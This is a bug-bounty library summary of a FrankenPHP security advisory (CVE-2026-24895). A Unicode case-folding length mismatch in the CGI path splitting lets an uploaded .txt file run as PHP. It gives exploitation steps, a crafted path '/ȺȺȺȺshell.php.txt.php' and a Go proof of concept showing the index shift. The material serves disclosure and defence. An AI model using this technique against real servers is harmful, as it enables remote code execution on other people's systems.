# FrankenPHP's unicode case-folding length expansion causes incorrect split_path index (SCRIPT_NAME/PATH_INFO confusion) in FrankenPHP

FrankenPHP computes the .php split index on a lowercased path but slices the original, so Unicode case-folding byte expansion shifts SCRIPT_NAME and can execute an uploaded .txt as PHP.

- Payout: Research
- Severity: high
- Program: FrankenPHP
- Found by: AbdrrahimDahmani, hans362
- Disclosed: 2026-02-12
- CVE: CVE-2026-24895
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-g966-83w7-6w38
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-g966-83w7-6w38
- Tags: area:web domain:web impact:rce kind:research platform:ghsa sev:high tech:go tech:php technique:source-review technique:unicode-normalization vuln:file-upload vuln:path-traversal vuln:rce

**Target:** CGI path splitting logic (splitPos/splitCgiPath) in FrankenPHP server
**Root cause:** splitPos() returns a byte index computed on strings.ToLower(path), but splitCgiPath() applies that index to the original path; Go's ToLower can expand UTF-8 byte length (Ⱥ U+023A 2 bytes → ⱥ U+2C65 3 bytes), so the index overshoots and the split lands at the wrong offset.
**Steps:**
1. Note splitPos does `idx := strings.Index(strings.ToLower(path), strings.ToLower(split)); return idx + len(split)` and splitCgiPath slices original `path[:splitPos]` / `path[splitPos:]`.
2. Craft a path with expanding Unicode chars before the extension, e.g. `/ȺȺȺȺshell.php.txt.php`.
3. Run the PoC: orig bytes=26, lower bytes=30, splitPos=22 vs expected 18.
4. Result: `orig[:pos]="/ȺȺȺȺshell.php.txt"` and `orig[pos:]=".php"`, so SCRIPT_FILENAME resolves to the .txt file while the router sees .php.
5. Upload a file with safe extension (e.g. payload.txt) containing PHP code into the document root, then request it with the crafted Unicode path to force execution as PHP.
**How found:** Code review of splitPos/splitCgiPath revealed the assumption `len(strings.ToLower(path)) == len(path)`; the researcher recognized Go's ToLower can expand UTF-8 byte length and built a PoC showing index mismatch.
**Exploitation:** Precondition: attacker can upload files (avatars, text files) into the document root or a reachable path. Attacker uploads PHP code as payload.txt, then sends a request whose path contains expanding Unicode characters (e.g. Ⱥ) before the extension so the miscomputed split index makes SCRIPT_FILENAME point at payload.txt while the URI appears to end in .php, causing FrankenPHP to execute the non-PHP file as PHP and achieve RCE.
**Escalation:** Upload of a benign-extension file combined with path confusion escalates a file-upload primitive to remote code execution.
**Insight:** When a length or index is computed on a normalized/transformed copy of a string but applied to the original, check for transformations that change byte length (Unicode case folding, normalization, encoding) — Go's strings.ToLower is not byte-length preserving for all runes.

## Proof of concept (copied exactly from the original report)

**Go PoC demonstrating splitPos index mismatch**

```
func splitPos(path string, split string) int {
    lowerPath := strings.ToLower(path)
    idx := strings.Index(lowerPath, strings.ToLower(split))
    if idx < 0 {
        return -1
    }
    return idx + len(split)
}

func main() {
    // U+023A: Ⱥ (UTF-8: C8 BA). Lowercase is ⱥ (UTF-8: E2 B1 A5), longer in bytes.
    // We construct a path where the byte expansion shifts the index.
    path := "/ȺȺȺȺshell.php.txt.php"
    split := ".php"

    pos := splitPos(path, split)

    fmt.Printf("orig bytes=%d\n", len(path))
    fmt.Printf("lower bytes=%d\n", len(strings.ToLower(path)))
    fmt.Printf("splitPos=%d\n", pos)

    // Current Unsafe Behavior:
    fmt.Printf("orig[:pos] (Calculated Script)=%q\n", path[:pos])
    fmt.Printf("orig[pos:] (Calculated PathInfo)=%q\n", path[pos:])

    // Expected Safe Behavior:
    want := strings.Index(path, split) + len(split)
    fmt.Printf("expected splitPos=%d\n", want)
    fmt.Printf("expected orig[:]=%q\n", path[:want])
}
```

